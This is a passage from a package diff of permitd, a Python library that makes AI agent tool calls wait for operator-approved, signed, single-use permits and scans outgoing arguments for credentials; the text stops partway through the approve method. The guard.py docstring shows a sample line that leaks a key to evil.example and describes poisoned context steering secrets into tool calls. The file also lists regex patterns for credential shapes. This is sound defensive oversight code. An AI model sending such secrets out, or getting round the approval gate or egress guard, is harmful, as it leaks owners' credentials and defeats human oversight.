permitd 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
permitd/__init__.py ADDED
@@ -0,0 +1,31 @@
1
+ """permitd — governed tool execution for agent loops.
2
+
3
+ propose(tool, args) -> Permit (signed, TTL, single-use)
4
+ -> approve (out-of-band)
5
+ -> execute (verify + burn)
6
+ -> one audit line lands.
7
+
8
+ Core: `PermitKernel` (the flow above, storage-pluggable, stdlib-only).
9
+ Convenience: `Gate` (a tool registry with GREEN/YELLOW/RED tiers and an
10
+ egress guard over the kernel). Operator surface: the `permitd` CLI.
11
+ """
12
+ from .audit import AuditLog, summarize_args
13
+ from .binding import binding_hash, canonical_args
14
+ from .gate import GREEN, RED, YELLOW, Gate, GateResult, default_paths
15
+ from .guard import scan_outbound
16
+ from .kernel import DEFAULT_TTL_SECONDS, PermitError, PermitKernel, load_or_create_secret
17
+ from .permit import APPROVED, DENIED, EXECUTED, EXPIRED, PROPOSED, Permit
18
+ from .store import MemoryStore, PermitStore, SqliteStore
19
+
20
+ __version__ = "0.1.0"
21
+
22
+ __all__ = [
23
+ "AuditLog", "summarize_args",
24
+ "binding_hash", "canonical_args",
25
+ "GREEN", "YELLOW", "RED", "Gate", "GateResult", "default_paths",
26
+ "scan_outbound",
27
+ "DEFAULT_TTL_SECONDS", "PermitError", "PermitKernel", "load_or_create_secret",
28
+ "PROPOSED", "APPROVED", "DENIED", "EXECUTED", "EXPIRED", "Permit",
29
+ "MemoryStore", "PermitStore", "SqliteStore",
30
+ "__version__",
31
+ ]
permitd/audit.py ADDED
@@ -0,0 +1,62 @@
1
+ """Append-only audit trail: one JSON line per outcome.
2
+
3
+ Best-effort by contract: logging must never raise into the dispatch path. A
4
+ gate that can't write its audit line still answers; it just loses that line.
5
+ JSONL on purpose — the trail stays `tail -f`-able and trivially exportable.
6
+ """
7
+ from __future__ import annotations
8
+
9
+ import json
10
+ import threading
11
+ from datetime import datetime, timezone
12
+ from pathlib import Path
13
+ from typing import Any, Dict, List
14
+
15
+
16
+ class AuditLog:
17
+ def __init__(self, path: str | Path) -> None:
18
+ self.path = Path(path)
19
+ self._lock = threading.Lock()
20
+
21
+ def log(self, entry: Dict[str, Any]) -> None:
22
+ """Append one record; `ts` is stamped here in UTC ISO-8601."""
23
+ record = {"ts": datetime.now(timezone.utc).isoformat(), **entry}
24
+ try:
25
+ with self._lock:
26
+ self.path.parent.mkdir(parents=True, exist_ok=True)
27
+ with self.path.open("a", encoding="utf-8") as f:
28
+ f.write(json.dumps(record, ensure_ascii=False) + "\n")
29
+ except Exception:
30
+ pass # never let an audit failure break the call
31
+
32
+ def tail(self, n: int = 50) -> List[Dict[str, Any]]:
33
+ """The most recent `n` records, oldest first."""
34
+ try:
35
+ if not self.path.exists():
36
+ return []
37
+ with self._lock:
38
+ lines = self.path.read_text(encoding="utf-8").splitlines()
39
+ out: List[Dict[str, Any]] = []
40
+ for line in lines[-n:]:
41
+ line = line.strip()
42
+ if not line:
43
+ continue
44
+ try:
45
+ out.append(json.loads(line))
46
+ except Exception:
47
+ continue
48
+ return out
49
+ except Exception:
50
+ return []
51
+
52
+
53
+ def summarize_args(args: Dict[str, Any], max_len: int = 200) -> Dict[str, Any]:
54
+ """Trim arg values for audit lines so the log never stores huge payloads.
55
+ (The approval surface is the opposite: it always shows full args.)"""
56
+ out: Dict[str, Any] = {}
57
+ for k, v in (args or {}).items():
58
+ if isinstance(v, str) and len(v) > max_len:
59
+ out[k] = v[:max_len] + "…"
60
+ else:
61
+ out[k] = v
62
+ return out
permitd/binding.py ADDED
@@ -0,0 +1,24 @@
1
+ """Argument canonicalization and the binding hash.
2
+
3
+ A permit is bound to one exact (tool, args) pair. The binding hash is the
4
+ scope of that bond: approval for "send X to Alice" can neither be replayed
5
+ nor bent to "send Y to Eve".
6
+ """
7
+ from __future__ import annotations
8
+
9
+ import hashlib
10
+ import json
11
+ from typing import Any, Dict, Optional
12
+
13
+
14
+ def canonical_args(args: Optional[Dict[str, Any]]) -> str:
15
+ """Stable JSON for args so the same call always hashes the same. Sorted
16
+ keys + tight separators: argument ORDER and whitespace can't change the
17
+ binding, but any value change does."""
18
+ return json.dumps(args or {}, sort_keys=True, separators=(",", ":"), ensure_ascii=False)
19
+
20
+
21
+ def binding_hash(tool: str, args: Optional[Dict[str, Any]]) -> str:
22
+ """The scope a permit is bound to: this exact tool, these exact args. The
23
+ tool name is folded in so a permit for one tool can never satisfy another."""
24
+ return hashlib.sha256(f"{tool}\n{canonical_args(args)}".encode("utf-8")).hexdigest()
permitd/cli.py ADDED
@@ -0,0 +1,137 @@
1
+ """The `permitd` CLI — the minimal approve surface.
2
+
3
+ Points at the same SQLite store (and derived secret + audit paths) as a
4
+ library `Gate(db=...)` or `PermitKernel(SqliteStore(...))`, so approval is
5
+ genuinely out-of-band: the agent proposes in one process, a human approves
6
+ here, the agent's retry executes.
7
+
8
+ permitd pending # what is waiting, with FULL args (informed consent)
9
+ permitd show PRM-...
10
+ permitd approve PRM-...
11
+ permitd deny PRM-...
12
+ permitd audit -n 20
13
+
14
+ Store selection: --db, else $PERMITD_DB, else ./permitd.db.
15
+ """
16
+ from __future__ import annotations
17
+
18
+ import argparse
19
+ import json
20
+ import os
21
+ import sys
22
+ from typing import Optional
23
+
24
+ from .audit import AuditLog
25
+ from .gate import default_paths
26
+ from .kernel import PermitError, PermitKernel
27
+ from .permit import Permit
28
+ from .store import SqliteStore
29
+
30
+
31
+ def _kernel(args: argparse.Namespace) -> tuple[PermitKernel, AuditLog]:
32
+ db = args.db or os.getenv("PERMITD_DB") or "permitd.db"
33
+ paths = default_paths(db)
34
+ audit = AuditLog(args.audit or os.getenv("PERMITD_AUDIT") or paths["audit"])
35
+ kernel = PermitKernel(
36
+ SqliteStore(paths["db"]),
37
+ secret_path=None if os.getenv("PERMITD_SECRET") else paths["secret"],
38
+ audit=audit,
39
+ )
40
+ return kernel, audit
41
+
42
+
43
+ def _print_permit(p: Permit) -> None:
44
+ # Full, untruncated args on purpose: this is the operator's
45
+ # informed-consent surface — they must see the exact thing they authorize.
46
+ print(f" {p.id} [{p.status}] {p.tool}")
47
+ print(f" args: {json.dumps(p.args, ensure_ascii=False)}")
48
+ print(f" proposed: {p.created_at} ttl: {p.ttl_seconds}s")
49
+
50
+
51
+ def cmd_pending(args: argparse.Namespace) -> int:
52
+ kernel, _ = _kernel(args)
53
+ pending = kernel.pending()
54
+ if not pending:
55
+ print("no pending permits")
56
+ return 0
57
+ print(f"{len(pending)} pending permit(s):")
58
+ for p in pending:
59
+ _print_permit(p)
60
+ return 0
61
+
62
+
63
+ def cmd_show(args: argparse.Namespace) -> int:
64
+ kernel, _ = _kernel(args)
65
+ p = kernel.get(args.permit_id)
66
+ if p is None:
67
+ print(f"no permit {args.permit_id}", file=sys.stderr)
68
+ return 1
69
+ _print_permit(p)
70
+ return 0
71
+
72
+
73
+ def cmd_approve(args: argparse.Namespace) -> int:
74
+ kernel, _ = _kernel(args)
75
+ p = kernel.get(args.permit_id)
76
+ if p is not None:
77
+ _print_permit(p)
78
+ try:
79
+ p = kernel.approve(args.permit_id)
80
+ except PermitError as e:
81
+ print(f"refused: {e}", file=sys.stderr)
82
+ return 1
83
+ print(f"approved — {p.id} is executable for {p.ttl_seconds}s, single use, "
84
+ "bound to exactly these arguments")
85
+ return 0
86
+
87
+
88
+ def cmd_deny(args: argparse.Namespace) -> int:
89
+ kernel, _ = _kernel(args)
90
+ try:
91
+ p = kernel.deny(args.permit_id)
92
+ except PermitError as e:
93
+ print(f"refused: {e}", file=sys.stderr)
94
+ return 1
95
+ print(f"denied — {p.id} will never run")
96
+ return 0
97
+
98
+
99
+ def cmd_audit(args: argparse.Namespace) -> int:
100
+ _, audit = _kernel(args)
101
+ records = audit.tail(args.n)
102
+ if not records:
103
+ print("audit log is empty")
104
+ return 0
105
+ for r in records:
106
+ print(json.dumps(r, ensure_ascii=False))
107
+ return 0
108
+
109
+
110
+ def main(argv: Optional[list[str]] = None) -> int:
111
+ parser = argparse.ArgumentParser(
112
+ prog="permitd",
113
+ description="Approve, deny, and audit permits for governed tool execution.")
114
+ parser.add_argument("--db", help="permit store path (default: $PERMITD_DB or ./permitd.db)")
115
+ parser.add_argument("--audit", help="audit log path (default: alongside the db)")
116
+ sub = parser.add_subparsers(dest="command", required=True)
117
+
118
+ sub.add_parser("pending", help="list permits awaiting a decision").set_defaults(fn=cmd_pending)
119
+ p = sub.add_parser("show", help="show one permit")
120
+ p.add_argument("permit_id")
121
+ p.set_defaults(fn=cmd_show)
122
+ p = sub.add_parser("approve", help="approve a permit (mints the single-use token)")
123
+ p.add_argument("permit_id")
124
+ p.set_defaults(fn=cmd_approve)
125
+ p = sub.add_parser("deny", help="deny a permit")
126
+ p.add_argument("permit_id")
127
+ p.set_defaults(fn=cmd_deny)
128
+ p = sub.add_parser("audit", help="print recent audit lines")
129
+ p.add_argument("-n", type=int, default=20, help="how many lines (default 20)")
130
+ p.set_defaults(fn=cmd_audit)
131
+
132
+ ns = parser.parse_args(argv)
133
+ return ns.fn(ns)
134
+
135
+
136
+ if __name__ == "__main__":
137
+ raise SystemExit(main())
permitd/gate.py ADDED
@@ -0,0 +1,199 @@
1
+ """The Gate: a small tool registry with tiered governance over the kernel.
2
+
3
+ Tiers (the same semantics the kernel grew up with in production):
4
+
5
+ GREEN read-only over the caller's own state. Runs freely; audited.
6
+ YELLOW external read. Runs only under STANDING operator authorization
7
+ (one toggle: `gate.standing_authorization = True`); audited.
8
+ RED write / exec / send. Per-call permit: propose -> approve -> execute.
9
+
10
+ The egress guard runs before any non-GREEN call — including at PROPOSE time,
11
+ so a secret-bearing proposal never reaches the approval surface. Failures are
12
+ returned as GateResult(ok=False), never raised, so a tool call can never crash
13
+ an agent turn.
14
+ """
15
+ from __future__ import annotations
16
+
17
+ from dataclasses import dataclass, field
18
+ from pathlib import Path
19
+ from typing import Any, Callable, Dict, List, Optional
20
+
21
+ from . import guard as _guard
22
+ from .audit import AuditLog, summarize_args
23
+ from .kernel import DEFAULT_TTL_SECONDS, PermitError, PermitKernel
24
+ from .permit import Permit
25
+ from .store import SqliteStore
26
+
27
+ GREEN = "green"
28
+ YELLOW = "yellow"
29
+ RED = "red"
30
+ TIERS = (GREEN, YELLOW, RED)
31
+
32
+
33
+ def default_paths(db: str | Path) -> Dict[str, Path]:
34
+ """The convention that lets a library Gate and the `permitd` CLI meet on
35
+ one database: permitd.db -> permitd.db.secret + permitd_audit.jsonl."""
36
+ db = Path(db)
37
+ return {
38
+ "db": db,
39
+ "secret": db.with_name(db.name + ".secret"),
40
+ "audit": db.with_name(db.stem + "_audit.jsonl"),
41
+ }
42
+
43
+
44
+ @dataclass
45
+ class RegisteredTool:
46
+ name: str
47
+ fn: Callable[..., Any]
48
+ tier: str
49
+ description: str = ""
50
+
51
+
52
+ @dataclass
53
+ class GateResult:
54
+ """Uniform return shape for every call. `ok=False` + `reason` labels why
55
+ nothing ran (or why the run failed); `permit` carries the public view of a
56
+ freshly-proposed permit when the answer is 'go get approval'."""
57
+ ok: bool
58
+ result: Any = None
59
+ error: str = ""
60
+ reason: str = ""
61
+ permit: Optional[Dict[str, Any]] = field(default=None)
62
+
63
+
64
+ class Gate:
65
+ def __init__(
66
+ self,
67
+ kernel: Optional[PermitKernel] = None,
68
+ *,
69
+ db: Optional[str | Path] = None,
70
+ secret: Optional[str | bytes] = None,
71
+ audit_path: Optional[str | Path] = None,
72
+ ttl_seconds: int = DEFAULT_TTL_SECONDS,
73
+ use_guard: bool = True,
74
+ standing_authorization: bool = False,
75
+ ) -> None:
76
+ if kernel is not None:
77
+ self.kernel = kernel
78
+ self.audit = kernel.audit
79
+ else:
80
+ if db is not None:
81
+ paths = default_paths(db)
82
+ self.audit = AuditLog(audit_path or paths["audit"])
83
+ self.kernel = PermitKernel(
84
+ SqliteStore(paths["db"]),
85
+ secret=secret,
86
+ secret_path=None if secret else paths["secret"],
87
+ ttl_seconds=ttl_seconds,
88
+ audit=self.audit,
89
+ )
90
+ else:
91
+ self.audit = AuditLog(audit_path) if audit_path else None
92
+ self.kernel = PermitKernel(secret=secret, ttl_seconds=ttl_seconds,
93
+ audit=self.audit)
94
+ self.use_guard = use_guard
95
+ self.standing_authorization = standing_authorization
96
+ self.registry: Dict[str, RegisteredTool] = {}
97
+
98
+ # ── registry ─────────────────────────────────────────────────────────
99
+ def register(self, name: str, fn: Callable[..., Any], *, tier: str = GREEN,
100
+ description: str = "") -> None:
101
+ if tier not in TIERS:
102
+ raise ValueError(f"tool {name!r}: unknown tier {tier!r}")
103
+ self.registry[name] = RegisteredTool(name, fn, tier, description)
104
+
105
+ def tool(self, name: Optional[str] = None, *, tier: str = GREEN,
106
+ description: str = "") -> Callable[[Callable[..., Any]], Callable[..., Any]]:
107
+ """Decorator form: @gate.tool(tier=RED)."""
108
+ def deco(fn: Callable[..., Any]) -> Callable[..., Any]:
109
+ self.register(name or fn.__name__, fn, tier=tier,
110
+ description=description or (fn.__doc__ or "").strip())
111
+ return fn
112
+ return deco
113
+
114
+ def tools(self) -> List[Dict[str, str]]:
115
+ return [{"name": t.name, "tier": t.tier, "description": t.description}
116
+ for t in sorted(self.registry.values(), key=lambda t: t.name)]
117
+
118
+ # ── operator surface (delegates) ─────────────────────────────────────
119
+ def approve(self, permit_id: str) -> Permit:
120
+ return self.kernel.approve(permit_id)
121
+
122
+ def deny(self, permit_id: str) -> Permit:
123
+ return self.kernel.deny(permit_id)
124
+
125
+ def pending(self) -> List[Permit]:
126
+ return self.kernel.pending()
127
+
128
+ def get(self, permit_id: str) -> Optional[Permit]:
129
+ return self.kernel.get(permit_id)
130
+
131
+ # ── dispatch ─────────────────────────────────────────────────────────
132
+ def call(self, name: str, args: Optional[Dict[str, Any]] = None, *,
133
+ permit_id: Optional[str] = None) -> GateResult:
134
+ args = dict(args or {})
135
+ tool = self.registry.get(name)
136
+ if tool is None:
137
+ self._log({"event": "refused", "tool": name, "reason": "unknown_tool"})
138
+ return GateResult(ok=False, reason="unknown_tool",
139
+ error=f"unknown tool: {name}")
140
+
141
+ # Egress guard first — the earliest content check, ahead of the permit
142
+ # flow on purpose: a poisoned RED call is refused at PROPOSE time, so no
143
+ # approval card is ever shown for it and its secret-bearing args never
144
+ # reach the audit trail. The same scan fires again on the execute
145
+ # re-dispatch, so a secret buried in operator-approved args is refused
146
+ # even post-approval. One chokepoint, both lanes.
147
+ if self.use_guard and tool.tier != GREEN:
148
+ allow, why = _guard.scan_outbound(name, args)
149
+ if not allow:
150
+ self._log({"event": "refused", "tool": name, "tier": tool.tier,
151
+ "reason": "egress_blocked", "guard": why})
152
+ return GateResult(ok=False, reason="egress_blocked", error=(
153
+ f"{name} was blocked by the egress guard ({why}). The "
154
+ "arguments carry credential-shaped content that must not "
155
+ "leave; the call was refused before anything was sent. Do "
156
+ "not retry — remove the sensitive content."))
157
+
158
+ if tool.tier == YELLOW and not self.standing_authorization:
159
+ self._log({"event": "refused", "tool": name, "tier": YELLOW,
160
+ "reason": "not_authorized"})
161
+ return GateResult(ok=False, reason="not_authorized", error=(
162
+ f"{name} is a yellow-tier tool and requires standing operator "
163
+ "authorization (gate.standing_authorization = True)."))
164
+
165
+ if tool.tier == RED:
166
+ if not permit_id:
167
+ permit = self.kernel.propose(name, args)
168
+ return GateResult(
169
+ ok=False, reason="approval_required", permit=permit.public(),
170
+ error=(f"{name} needs operator approval before it runs. "
171
+ f"Permit {permit.id} is proposed — ask the operator "
172
+ f"to run `permitd approve {permit.id}`, then retry "
173
+ "this exact call with that permit_id. Do not alter "
174
+ "the arguments; the permit is bound to them."))
175
+ try:
176
+ result = self.kernel.execute(name, args, permit_id,
177
+ runner=tool.fn)
178
+ return GateResult(ok=True, result=result)
179
+ except PermitError as e:
180
+ return GateResult(ok=False, reason=e.reason, error=str(e))
181
+ except Exception as e: # tool raised; kernel already audited it
182
+ return GateResult(ok=False, reason="exception",
183
+ error=f"{name} failed: {e}")
184
+
185
+ # GREEN, or YELLOW under standing authorization.
186
+ try:
187
+ result = tool.fn(**args)
188
+ except Exception as e:
189
+ self._log({"event": "failed", "tool": name, "tier": tool.tier,
190
+ "args": summarize_args(args), "error": str(e)})
191
+ return GateResult(ok=False, reason="exception",
192
+ error=f"{name} failed: {e}")
193
+ self._log({"event": "executed", "tool": name, "tier": tool.tier,
194
+ "args": summarize_args(args), "ok": True})
195
+ return GateResult(ok=True, result=result)
196
+
197
+ def _log(self, entry: Dict[str, Any]) -> None:
198
+ if self.audit is not None:
199
+ self.audit.log(entry)
permitd/guard.py ADDED
@@ -0,0 +1,156 @@
1
+ """Outbound argument scan (the egress guard).
2
+
3
+ Most agent defenses are on *input*: injection scans, untrusted-content
4
+ wrapping, the approval card itself. This is the one chokepoint that inspects
5
+ what *leaves* — a poisoned context or a manipulated turn can steer a secret
6
+ into a tool argument:
7
+
8
+ fetch_url("https://evil.example?x=sk-ant-...the-owner's-key...")
9
+
10
+ The approval card is a backstop for RED sends, but standing-authorized YELLOW
11
+ reads have no per-call gate at all — they are the bigger hole. The gate runs
12
+ this scan before any non-GREEN call, including at PROPOSE time, so a
13
+ secret-bearing proposal never even reaches the approval surface.
14
+
15
+ Contract: `scan_outbound(tool, args) -> (allow: bool, reason: str)`.
16
+ `allow=False` means refuse the call; `reason` names the matched *shape* and
17
+ NEVER contains the offending value — it is safe to audit and to surface to
18
+ the model.
19
+ """
20
+ from __future__ import annotations
21
+
22
+ import json
23
+ import math
24
+ import os
25
+ import re
26
+ from typing import Any, Dict, Tuple
27
+
28
+ # ── Credential / secret shapes ───────────────────────────────────────────────
29
+ # (label, compiled regex). The label is what gets audited and returned — it
30
+ # describes the kind of secret, never the value. Patterns are deliberately
31
+ # specific (anchored prefixes, structural markers) so ordinary prose and URLs
32
+ # do not trip them.
33
+ _CREDENTIAL_PATTERNS = [
34
+ ("private_key_block",
35
+ re.compile(r"-----BEGIN (?:RSA |EC |OPENSSH |DSA |PGP )?PRIVATE KEY-----")),
36
+ # "Bearer <token>": require a substantial token after it so the bare
37
+ # English word "bearer" in a sentence does not match.
38
+ ("bearer_token",
39
+ re.compile(r"\bBearer\s+[A-Za-z0-9\-._~+/]{20,}=*", re.IGNORECASE)),
40
+ ("basic_auth_header",
41
+ re.compile(r"\bBasic\s+[A-Za-z0-9+/]{16,}=*")),
42
+ ("aws_access_key_id", re.compile(r"\b(?:AKIA|ASIA)[0-9A-Z]{16}\b")),
43
+ ("github_token",
44
+ re.compile(r"\b(?:ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9]{36,}\b"
45
+ r"|\bgithub_pat_[A-Za-z0-9_]{40,}\b")),
46
+ ("slack_token", re.compile(r"\bxox[baprs]-[A-Za-z0-9-]{10,}\b")),
47
+ ("stripe_key", re.compile(r"\b(?:sk|rk)_(?:live|test)_[A-Za-z0-9]{16,}\b")),
48
+ ("anthropic_key", re.compile(r"\bsk-ant-[A-Za-z0-9\-_]{20,}\b")),
49
+ ("openai_key", re.compile(r"\bsk-(?:proj-)?[A-Za-z0-9]{20,}\b")),
50
+ ("google_api_key", re.compile(r"\bAIza[0-9A-Za-z\-_]{35}\b")),
51
+ ("gcp_service_account", re.compile(r'"type"\s*:\s*"service_account"')),
52
+ # Generic "<secret-ish name> = <value>" assignments with a long opaque value.
53
+ ("inline_secret_assignment",
54
+ re.compile(r"(?i)\b(?:api[_-]?key|secret|password|passwd|token|"
55
+ r"access[_-]?token|private[_-]?key)\b\s*[:=]\s*"
56
+ r"['\"]?[A-Za-z0-9\-._/+]{16,}")),
57
+ ]
58
+
59
+ # Env-var names whose *values* this process holds and must never let leave.
60
+ # Matched by substring on the UPPERCASED name; PUBLIC keys are exempt (a
61
+ # public key is meant to be shared).
62
+ _SENSITIVE_ENV_MARKERS = ("KEY", "SECRET", "TOKEN", "PASSWORD", "PASSWD",
63
+ "PWD", "PRIVATE", "CREDENTIAL")
64
+ _ENV_EXEMPT_MARKERS = ("PUBLIC",)
65
+ # Don't treat trivially-short or boolean-ish env values as secrets — they
66
+ # cause false positives (a flag "1" appears in any query).
67
+ _MIN_ENV_VALUE_LEN = 10
68
+ _ENV_VALUE_NOISE = {"true", "false", "none", "null", "0", "1"}
69
+
70
+ # High-entropy backstop: a contiguous opaque token that looks like a secret
71
+ # even though it matched no named pattern. Tuned conservative — long enough
72
+ # and mixed enough that ordinary words and slugs do not trip it.
73
+ _TOKEN_RE = re.compile(r"[A-Za-z0-9+/=_\-]{48,}")
74
+ _ENTROPY_BITS_MIN = 4.3
75
+ # URLs are stripped before the entropy backstop runs: legitimate signed/CDN
76
+ # URLs carry long opaque tokens indistinguishable from secrets by entropy
77
+ # alone. The named patterns and the env-value match still scan the FULL text
78
+ # (URLs included), so a known-shape key embedded in a URL is still caught —
79
+ # only the noisy generic heuristic skips URL bodies.
80
+ _URL_RE = re.compile(r"https?://\S+")
81
+
82
+
83
+ def _stringify(args: Dict[str, Any]) -> str:
84
+ try:
85
+ return json.dumps(args, ensure_ascii=False, default=str)
86
+ except Exception:
87
+ return repr(args)
88
+
89
+
90
+ def _scan_credentials(text: str) -> str:
91
+ for label, rx in _CREDENTIAL_PATTERNS:
92
+ if rx.search(text):
93
+ return f"matches a credential pattern ({label})"
94
+ return ""
95
+
96
+
97
+ def _scan_env_secrets(text: str) -> str:
98
+ """Refuse if any sensitive env *value* this process holds appears verbatim
99
+ in the outbound args. The value is never logged or returned — only the var
100
+ name, which is not itself a secret."""
101
+ for name, value in os.environ.items():
102
+ up = name.upper()
103
+ if any(m in up for m in _ENV_EXEMPT_MARKERS):
104
+ continue
105
+ if not any(m in up for m in _SENSITIVE_ENV_MARKERS):
106
+ continue
107
+ v = (value or "").strip()
108
+ if len(v) < _MIN_ENV_VALUE_LEN or v.lower() in _ENV_VALUE_NOISE:
109
+ continue
110
+ if v in text:
111
+ return f"contains the value of a sensitive environment variable ({name})"
112
+ return ""
113
+
114
+
115
+ def _shannon_entropy(s: str) -> float:
116
+ if not s:
117
+ return 0.0
118
+ counts: Dict[str, int] = {}
119
+ for ch in s:
120
+ counts[ch] = counts.get(ch, 0) + 1
121
+ n = len(s)
122
+ return -sum((c / n) * math.log2(c / n) for c in counts.values())
123
+
124
+
125
+ def _scan_high_entropy(text: str) -> str:
126
+ """Backstop for opaque secrets that match no named prefix: a long
127
+ contiguous token, high entropy, AND mixed character classes — base64/hex
128
+ secrets have all three; English words and tidy URL slugs do not."""
129
+ text = _URL_RE.sub(" ", text)
130
+ for m in _TOKEN_RE.finditer(text):
131
+ tok = m.group(0)
132
+ if not (any(c.islower() for c in tok)
133
+ and any(c.isupper() for c in tok)
134
+ and any(c.isdigit() for c in tok)):
135
+ continue
136
+ if _shannon_entropy(tok) >= _ENTROPY_BITS_MIN:
137
+ return "contains a long high-entropy token that looks like a secret"
138
+ return ""
139
+
140
+
141
+ def scan_outbound(tool: str, args: Dict[str, Any]) -> Tuple[bool, str]:
142
+ """Inspect outbound tool arguments before they run (or are proposed).
143
+ Returns (allow, reason); reason never embeds the offending value."""
144
+ try:
145
+ text = _stringify(args)
146
+ except Exception:
147
+ # Cannot evaluate the args → fail closed: a security gate treats
148
+ # "can't tell" as deny.
149
+ return False, "outbound arguments could not be inspected (failed closed)"
150
+ if not text:
151
+ return True, ""
152
+ for scan in (_scan_credentials, _scan_env_secrets, _scan_high_entropy):
153
+ reason = scan(text)
154
+ if reason:
155
+ return False, reason
156
+ return True, ""
permitd/kernel.py ADDED
@@ -0,0 +1,247 @@
1
+ """The permit kernel: propose -> approve -> execute (verify + burn) -> audit.
2
+
3
+ The contract (security lives here):
4
+
5
+ PROPOSE `propose()` records the exact (tool, canonicalized args) and
6
+ returns a Permit. Nothing has run.
7
+ APPROVE `approve()` mints a single-use HMAC-signed token bound to
8
+ sha256(tool + canonical args), with a short TTL.
9
+ EXECUTE `execute()` re-checks the SAME (tool, args) against the permit:
10
+ signature recomputes, binding matches, unexpired, unused — the
11
+ burn is atomic — and only then the tool runs. One audit line lands.
12
+ DENY `deny()` discards the proposal; any minted token dies with it.
13
+
14
+ Every non-execute outcome is fail-closed: a missing, expired, mismatched,
15
+ tampered, or reused permit is refused, and the refusal is audited. Approval
16
+ for "send X to Alice" can neither be replayed nor bent to "send Y to Eve" —
17
+ the args hash and the atomic burn see to that.
18
+ """
19
+ from __future__ import annotations
20
+
21
+ import hashlib
22
+ import hmac
23
+ import os
24
+ import secrets as _secrets
25
+ import stat
26
+ from datetime import datetime, timezone
27
+ from pathlib import Path
28
+ from typing import Any, Callable, Dict, List, Optional, Tuple
29
+
30
+ from .audit import AuditLog, summarize_args
31
+ from .binding import binding_hash
32
+ from .permit import APPROVED, DENIED, EXPIRED, PROPOSED, Permit
33
+ from .store import MemoryStore, PermitStore
34
+
35
+ DEFAULT_TTL_SECONDS = 300
36
+
37
+
38
+ class PermitError(Exception):
39
+ """A permit operation was refused. `reason` is a short machine-readable
40
+ label (also the audit label); str(e) is the human sentence."""
41
+
42
+ def __init__(self, reason: str, message: Optional[str] = None) -> None:
43
+ self.reason = reason
44
+ super().__init__(message or reason)
45
+
46
+
47
+ def load_or_create_secret(path: str | Path) -> bytes:
48
+ """Read the HMAC secret from `path`, creating it (0600) on first use so a
49
+ library user and the `permitd` CLI sharing a store also share the secret."""
50
+ p = Path(path)
51
+ if p.exists():
52
+ return p.read_bytes().strip()
53
+ p.parent.mkdir(parents=True, exist_ok=True)
54
+ secret = _secrets.token_hex(32).encode("ascii")
55
+ p.write_bytes(secret + b"\n")
56
+ try:
57
+ p.chmod(stat.S_IRUSR | stat.S_IWUSR)
58
+ except OSError:
59
+ pass
60
+ return secret
61
+
62
+
63
+ def _resolve_secret(secret: Optional[str | bytes], secret_path: Optional[str | Path]) -> bytes:
64
+ if secret is not None:
65
+ return secret.encode("utf-8") if isinstance(secret, str) else secret
66
+ env = os.getenv("PERMITD_SECRET")
67
+ if env:
68
+ return env.encode("utf-8")
69
+ if secret_path is not None:
70
+ return load_or_create_secret(secret_path)
71
+ # Ephemeral secret: fine for in-memory kernels; a persistent store shared
72
+ # across processes should pass `secret` or `secret_path`.
73
+ return _secrets.token_hex(32).encode("ascii")
74
+
75
+
76
+ class PermitKernel:
77
+ def __init__(
78
+ self,
79
+ store: Optional[PermitStore] = None,
80
+ *,
81
+ secret: Optional[str | bytes] = None,
82
+ secret_path: Optional[str | Path] = None,
83
+ ttl_seconds: int = DEFAULT_TTL_SECONDS,
84
+ audit: Optional[AuditLog] = None,
85
+ clock: Optional[Callable[[], datetime]] = None,
86
+ ) -> None:
87
+ self.store: PermitStore = store if store is not None else MemoryStore()
88
+ self.ttl_seconds = ttl_seconds
89
+ self.audit = audit
90
+ self._secret = _resolve_secret(secret, secret_path)
91
+ self._now = clock or (lambda: datetime.now(timezone.utc))
92
+
93
+ # ── time ─────────────────────────────────────────────────────────────
94
+ def _age_seconds(self, iso: Optional[str]) -> float:
95
+ try:
96
+ t = datetime.fromisoformat(iso or "")
97
+ if t.tzinfo is None:
98
+ t = t.replace(tzinfo=timezone.utc)
99
+ return (self._now() - t).total_seconds()
100
+ except Exception:
101
+ return float("inf") # unparseable timestamp → expired (fail closed)
102
+
103
+ def _expire_if_stale(self, permit: Permit) -> Permit:
104
+ """Both clocks are bounded: a proposal is approvable for ttl after
105
+ propose; a minted approval is executable for ttl after approve."""
106
+ stale = (
107
+ (permit.status == PROPOSED and self._age_seconds(permit.created_at) > permit.ttl_seconds)
108
+ or (permit.status == APPROVED and self._age_seconds(permit.approved_at) > permit.ttl_seconds)
109
+ )
110
+ if stale:
111
+ permit.status = EXPIRED
112
+ permit.token = None
113
+ self.store.update(permit)
114
+ return permit
115
+
116
+ # ── signing ──────────────────────────────────────────────────────────
117
+ def _sign(self, permit_id: str, bhash: str, approved_at: str) -> str:
118
+ msg = f"{permit_id}.{bhash}.{approved_at}".encode("utf-8")
119
+ return hmac.new(self._secret, msg, hashlib.sha256).hexdigest()
120
+
121
+ def _log(self, event: str, permit: Optional[Permit] = None, **extra: Any) -> None:
122
+ if self.audit is None:
123
+ return
124
+ entry: Dict[str, Any] = {"event": event}
125
+ if permit is not None:
126
+ entry.update({
127
+ "permit_id": permit.id,
128
+ "tool": permit.tool,
129
+ "args": summarize_args(permit.args),
130
+ })
131
+ entry.update(extra)
132
+ self.audit.log(entry)
133
+
134
+ # ── PROPOSE ──────────────────────────────────────────────────────────
135
+ def propose(self, tool: str, args: Optional[Dict[str, Any]] = None) -> Permit:
136
+ """Record a pending call and return the Permit. Nothing executes here —
137
+ an approval must be minted before the call can run at all."""
138
+ permit = Permit(
139
+ id="PRM-" + _secrets.token_hex(6),
140
+ tool=tool,
141
+ args=dict(args or {}),
142
+ binding_hash=binding_hash(tool, args),
143
+ status=PROPOSED,
144
+ created_at=self._now().isoformat(),
145
+ ttl_seconds=self.ttl_seconds,
146
+ )
147
+ self.store.create(permit)
148
+ self._log("proposed", permit)
149
+ return permit
150
+
151
+ def get(self, permit_id: str) -> Optional[Permit]:
152
+ permit = self.store.get(permit_id)
153
+ return self._expire_if_stale(permit) if permit else None
154
+
155
+ def pending(self) -> List[Permit]:
156
+ """Proposals still awaiting a decision and not yet expired."""
157
+ out = []
158
+ for permit in self.store.list(status=PROPOSED):
159
+ if self._expire_if_stale(permit).status == PROPOSED:
160
+ out.append(permit)
161
+ return out
162
+
163
+ # ── APPROVE / DENY ───────────────────────────────────────────────────
164
+ def approve(self, permit_id: str) -> Permit:
165
+ """Operator approves. Mints the one-shot HMAC token scoped to the
166
+ permit's (tool, args) hash. Raises PermitError on anything else."""
167
+ permit = self.store.get(permit_id)
168
